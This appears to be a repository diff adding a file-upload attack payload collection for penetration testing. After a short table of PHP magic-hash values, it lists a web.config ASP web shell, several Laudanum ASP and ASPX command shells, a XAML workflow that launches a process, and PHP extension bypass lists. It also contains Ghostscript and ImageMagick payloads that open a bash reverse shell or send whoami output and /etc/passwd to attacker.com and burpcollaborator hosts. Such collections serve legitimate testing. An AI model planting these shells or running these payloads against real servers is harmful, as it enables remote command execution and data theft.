| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) |
| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) |
| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083)
```php
<?php

View File

@ -2,7 +2,7 @@
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64 />
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>

View File

@ -0,0 +1,65 @@
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->

View File

@ -0,0 +1,83 @@
<%
' *******************************************************************************
' ***
' *** Laudanum Project
' *** A Collection of Injectable Files used during a Penetration Test
' ***
' *** More information is available at:
' *** http://laudanum.secureideas.net
' *** laudanum@secureideas.net
' ***
' *** Project Leads:
' *** Kevin Johnson <kjohnson@secureideas.net
' *** Tim Medin <tim@securitywhole.com>
' ***
' *** Copyright 2012 by Kevin Johnson and the Laudanum Team
' ***
' ********************************************************************************
' ***
' *** Updated and fixed by Robin Wood <Digininja>
' *** Updated and fixed by Tim Medin <tim@securitywhole.com
' ***
' ********************************************************************************
' *** This program is free software; you can redistribute it and/or
' *** modify it under the terms of the GNU General Public License
' *** as published by the Free Software Foundation; either version 2
' *** of the License, or (at your option) any later version.
' ***
' *** This program is distributed in the hope that it will be useful,
' *** but WITHOUT ANY WARRANTY; without even the implied warranty of
' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' *** GNU General Public License for more details.
' ***
' *** You can get a copy of the GNU General Public License from this
' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
' *** You can also write to the Free Software Foundation, Inc., Temple
' *** Place - Suite Boston, MA USA.
' ***
' ***************************************************************************** */
' can set this to 0 for never time out but don't want to kill the server if a script
' goes into a loop for any reason
Server.ScriptTimeout = 180
ip=request.ServerVariables("REMOTE_ADDR")
if ip<>"1.2.3.4" then
response.Status="404 Page Not Found"
response.Write(response.Status)
response.End
end if
if Request.Form("submit") <> "" then
Dim wshell, intReturn, strPResult
cmd = Request.Form("cmd")
Response.Write ("Running command: " & cmd & "<br />")
set wshell = CreateObject("WScript.Shell")
Set objCmd = wShell.Exec(cmd)
strPResult = objCmd.StdOut.Readall()
response.write "<br><pre>" & replace(replace(strPResult,"<","&lt;"),vbCrLf,"<br>") & "</pre>"
set wshell = nothing
end if
%>
<html>
<head><title>Laundanum ASP Shell</title></head>
<body onload="document.shell.cmd.focus()">
<form action="shell.asp" method="POST" name="shell">
Command: <Input width="200" type="text" name="cmd" value="<%=cmd%>" /><br />
<input type="submit" name="submit" value="Submit" />
<p>Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done.
<p>Example command to do a directory listing:<br>
%ComSpec% /c dir
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>

View File

@ -0,0 +1,83 @@
<%
' *******************************************************************************
' ***
' *** Laudanum Project
' *** A Collection of Injectable Files used during a Penetration Test
' ***
' *** More information is available at:
' *** http://laudanum.secureideas.net
' *** laudanum@secureideas.net
' ***
' *** Project Leads:
' *** Kevin Johnson <kjohnson@secureideas.net
' *** Tim Medin <tim@securitywhole.com>
' ***
' *** Copyright 2012 by Kevin Johnson and the Laudanum Team
' ***
' ********************************************************************************
' ***
' *** Updated and fixed by Robin Wood <Digininja>
' *** Updated and fixed by Tim Medin <tim@securitywhole.com
' ***
' ********************************************************************************
' *** This program is free software; you can redistribute it and/or
' *** modify it under the terms of the GNU General Public License
' *** as published by the Free Software Foundation; either version 2
' *** of the License, or (at your option) any later version.
' ***
' *** This program is distributed in the hope that it will be useful,
' *** but WITHOUT ANY WARRANTY; without even the implied warranty of
' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' *** GNU General Public License for more details.
' ***
' *** You can get a copy of the GNU General Public License from this
' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
' *** You can also write to the Free Software Foundation, Inc., Temple
' *** Place - Suite Boston, MA USA.
' ***
' ***************************************************************************** */
' can set this to 0 for never time out but don't want to kill the server if a script
' goes into a loop for any reason
Server.ScriptTimeout = 180
ip=request.ServerVariables("REMOTE_ADDR")
if ip<>"1.2.3.4" then
response.Status="404 Page Not Found"
response.Write(response.Status)
response.End
end if
if Request.Form("submit") <> "" then
Dim wshell, intReturn, strPResult
cmd = Request.Form("cmd")
Response.Write ("Running command: " & cmd & "<br />")
set wshell = CreateObject("WScript.Shell")
Set objCmd = wShell.Exec(cmd)
strPResult = objCmd.StdOut.Readall()
response.write "<br><pre>" & replace(replace(strPResult,"<","&lt;"),vbCrLf,"<br>") & "</pre>"
set wshell = nothing
end if
%>
<html>
<head><title>Laundanum ASP Shell</title></head>
<body onload="document.shell.cmd.focus()">
<form action="shell.asp" method="POST" name="shell">
Command: <Input width="200" type="text" name="cmd" value="<%=cmd%>" /><br />
<input type="submit" name="submit" value="Submit" />
<p>Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done.
<p>Example command to do a directory listing:<br>
%ComSpec% /c dir
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>

View File

@ -0,0 +1,83 @@
<%
' *******************************************************************************
' ***
' *** Laudanum Project
' *** A Collection of Injectable Files used during a Penetration Test
' ***
' *** More information is available at:
' *** http://laudanum.secureideas.net
' *** laudanum@secureideas.net
' ***
' *** Project Leads:
' *** Kevin Johnson <kjohnson@secureideas.net
' *** Tim Medin <tim@securitywhole.com>
' ***
' *** Copyright 2012 by Kevin Johnson and the Laudanum Team
' ***
' ********************************************************************************
' ***
' *** Updated and fixed by Robin Wood <Digininja>
' *** Updated and fixed by Tim Medin <tim@securitywhole.com
' ***
' ********************************************************************************
' *** This program is free software; you can redistribute it and/or
' *** modify it under the terms of the GNU General Public License
' *** as published by the Free Software Foundation; either version 2
' *** of the License, or (at your option) any later version.
' ***
' *** This program is distributed in the hope that it will be useful,
' *** but WITHOUT ANY WARRANTY; without even the implied warranty of
' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' *** GNU General Public License for more details.
' ***
' *** You can get a copy of the GNU General Public License from this
' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
' *** You can also write to the Free Software Foundation, Inc., Temple
' *** Place - Suite Boston, MA USA.
' ***
' ***************************************************************************** */
' can set this to 0 for never time out but don't want to kill the server if a script
' goes into a loop for any reason
Server.ScriptTimeout = 180
ip=request.ServerVariables("REMOTE_ADDR")
if ip<>"1.2.3.4" then
response.Status="404 Page Not Found"
response.Write(response.Status)
response.End
end if
if Request.Form("submit") <> "" then
Dim wshell, intReturn, strPResult
cmd = Request.Form("cmd")
Response.Write ("Running command: " & cmd & "<br />")
set wshell = CreateObject("WScript.Shell")
Set objCmd = wShell.Exec(cmd)
strPResult = objCmd.StdOut.Readall()
response.write "<br><pre>" & replace(replace(strPResult,"<","&lt;"),vbCrLf,"<br>") & "</pre>"
set wshell = nothing
end if
%>
<html>
<head><title>Laundanum ASP Shell</title></head>
<body onload="document.shell.cmd.focus()">
<form action="shell.asp" method="POST" name="shell">
Command: <Input width="200" type="text" name="cmd" value="<%=cmd%>" /><br />
<input type="submit" name="submit" value="Submit" />
<p>Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done.
<p>Example command to do a directory listing:<br>
%ComSpec% /c dir
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>

View File

@ -0,0 +1,129 @@
<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<script runat="server">
/* *****************************************************************************
***
*** Laudanum Project
*** A Collection of Injectable Files used during a Penetration Test
***
*** More information is available at:
*** http://laudanum.secureideas.net
*** laudanum@secureideas.net
***
*** Project Leads:
*** Kevin Johnson <kjohnson@secureideas.net>
*** Tim Medin <tim@securitywhole.com>
***
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
***
********************************************************************************
***
*** This file provides shell access to the system.
***
********************************************************************************
*** This program is free software; you can redistribute it and/or
*** modify it under the terms of the GNU General Public License
*** as published by the Free Software Foundation; either version 2
*** of the License, or (at your option) any later version.
***
*** This program is distributed in the hope that it will be useful,
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
*** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*** GNU General Public License for more details.
***
*** You can get a copy of the GNU General Public License from this
*** address: http://www.gnu.org/copyleft/gpl.html#SEC1
*** You can also write to the Free Software Foundation, Inc., 59 Temple
*** Place - Suite 330, Boston, MA 02111-1307, USA.
***
***************************************************************************** */
string stdout = "";
string stderr = "";
void die() {
//HttpContext.Current.Response.Clear();
HttpContext.Current.Response.StatusCode = 404;
HttpContext.Current.Response.StatusDescription = "Not Found";
HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
HttpContext.Current.Server.ClearError();
HttpContext.Current.Response.End();
}
void Page_Load(object sender, System.EventArgs e) {
// Check for an IP in the range we want
string[] allowedIps = new string[] {"::1","192.168.0.1", "127.0.0.1"};
// check if the X-Fordarded-For header exits
string remoteIp;
if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) {
remoteIp = Request.UserHostAddress;
} else {
remoteIp = HttpContext.Current.Request.Headers["X-Forwarded-For"].Split(new char[] { ',' })[0];
}
bool validIp = false;
foreach (string ip in allowedIps) {
validIp = (validIp || (remoteIp == ip));
}
if (!validIp) {
die();
}
if (Request.Form["c"] != null) {
// do or do not, there is no try
//try {
// create the ProcessStartInfo using "cmd" as the program to be run, and "/c " as the parameters.
// "/c" tells cmd that we want it to execute the command that follows, and exit.
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + Request.Form["c"]);
// The following commands are needed to redirect the standard output and standard error.
procStartInfo.RedirectStandardOutput = true;
procStartInfo.RedirectStandardError = true;
procStartInfo.UseShellExecute = false;
// Do not create the black window.
procStartInfo.CreateNoWindow = true;
// Now we create a process, assign its ProcessStartInfo and start it
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
// Get the output and error into a string
stdout = p.StandardOutput.ReadToEnd();
stderr = p.StandardError.ReadToEnd();
//}
//catch (Exception objException)
//{
}
}
</script>
<html>
<head><title>Laundanum ASPX Shell</title></head>
<body onload="document.shell.c.focus()">
<form method="post" name="shell">
cmd /c <input type="text" name="c"/>
<input type="submit"><br/>
STDOUT:<br/>
<pre><% = stdout.Replace("<", "&lt;") %></pre>
<br/>
<br/>
<br/>
STDERR:<br/>
<pre><% = stderr.Replace("<", "&lt;") %></pre>
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>

View File

@ -0,0 +1,83 @@
<%
' *******************************************************************************
' ***
' *** Laudanum Project
' *** A Collection of Injectable Files used during a Penetration Test
' ***
' *** More information is available at:
' *** http://laudanum.secureideas.net
' *** laudanum@secureideas.net
' ***
' *** Project Leads:
' *** Kevin Johnson <kjohnson@secureideas.net
' *** Tim Medin <tim@securitywhole.com>
' ***
' *** Copyright 2012 by Kevin Johnson and the Laudanum Team
' ***
' ********************************************************************************
' ***
' *** Updated and fixed by Robin Wood <Digininja>
' *** Updated and fixed by Tim Medin <tim@securitywhole.com
' ***
' ********************************************************************************
' *** This program is free software; you can redistribute it and/or
' *** modify it under the terms of the GNU General Public License
' *** as published by the Free Software Foundation; either version 2
' *** of the License, or (at your option) any later version.
' ***
' *** This program is distributed in the hope that it will be useful,
' *** but WITHOUT ANY WARRANTY; without even the implied warranty of
' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' *** GNU General Public License for more details.
' ***
' *** You can get a copy of the GNU General Public License from this
' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
' *** You can also write to the Free Software Foundation, Inc., Temple
' *** Place - Suite Boston, MA USA.
' ***
' ***************************************************************************** */
' can set this to 0 for never time out but don't want to kill the server if a script
' goes into a loop for any reason
Server.ScriptTimeout = 180
ip=request.ServerVariables("REMOTE_ADDR")
if ip<>"1.2.3.4" then
response.Status="404 Page Not Found"
response.Write(response.Status)
response.End
end if
if Request.Form("submit") <> "" then
Dim wshell, intReturn, strPResult
cmd = Request.Form("cmd")
Response.Write ("Running command: " & cmd & "<br />")
set wshell = CreateObject("WScript.Shell")
Set objCmd = wShell.Exec(cmd)
strPResult = objCmd.StdOut.Readall()
response.write "<br><pre>" & replace(replace(strPResult,"<","&lt;"),vbCrLf,"<br>") & "</pre>"
set wshell = nothing
end if
%>
<html>
<head><title>Laundanum ASP Shell</title></head>
<body onload="document.shell.cmd.focus()">
<form action="shell.asp" method="POST" name="shell">
Command: <Input width="200" type="text" name="cmd" value="<%=cmd%>" /><br />
<input type="submit" name="submit" value="Submit" />
<p>Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done.
<p>Example command to do a directory listing:<br>
%ComSpec% /c dir
</form>
<hr/>
<address>
Copyright &copy; 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html>

View File

@ -0,0 +1,16 @@
<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" >
<p:Sequence DisplayName="Sequential Service">
<TransactedReceiveScope Request="{x:Reference __r0}">
<p1:Sequence >
<SendReply DisplayName="SendResponse" >
<SendReply.Request>
<Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" />
</SendReply.Request>
<SendMessageContent>
<p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]</p1:InArgument>
</SendMessageContent>
</SendReply>
</p1:Sequence>
</TransactedReceiveScope>
</p:Sequence>
</WorkflowService>

View File

@ -0,0 +1,20 @@
.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg

View File

@ -0,0 +1,4 @@
%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl http://attacker.com/?a=$(whoami|base64) )
.putdeviceparams
quit

View File

@ -0,0 +1,6 @@
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1') currentdevice putdeviceprops

View File

@ -0,0 +1 @@
push graphic-context viewbox 0 0 200 200 fill 'url(https://example.123 "|curl -d "@/etc/passwd" -X POST https://xxx.burpcollaborator.net/test1 ")' pop graphic-context

View File

@ -0,0 +1,6 @@
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1') currentdevice putdeviceprops

Some files were not shown because too many files have changed in this diff Show More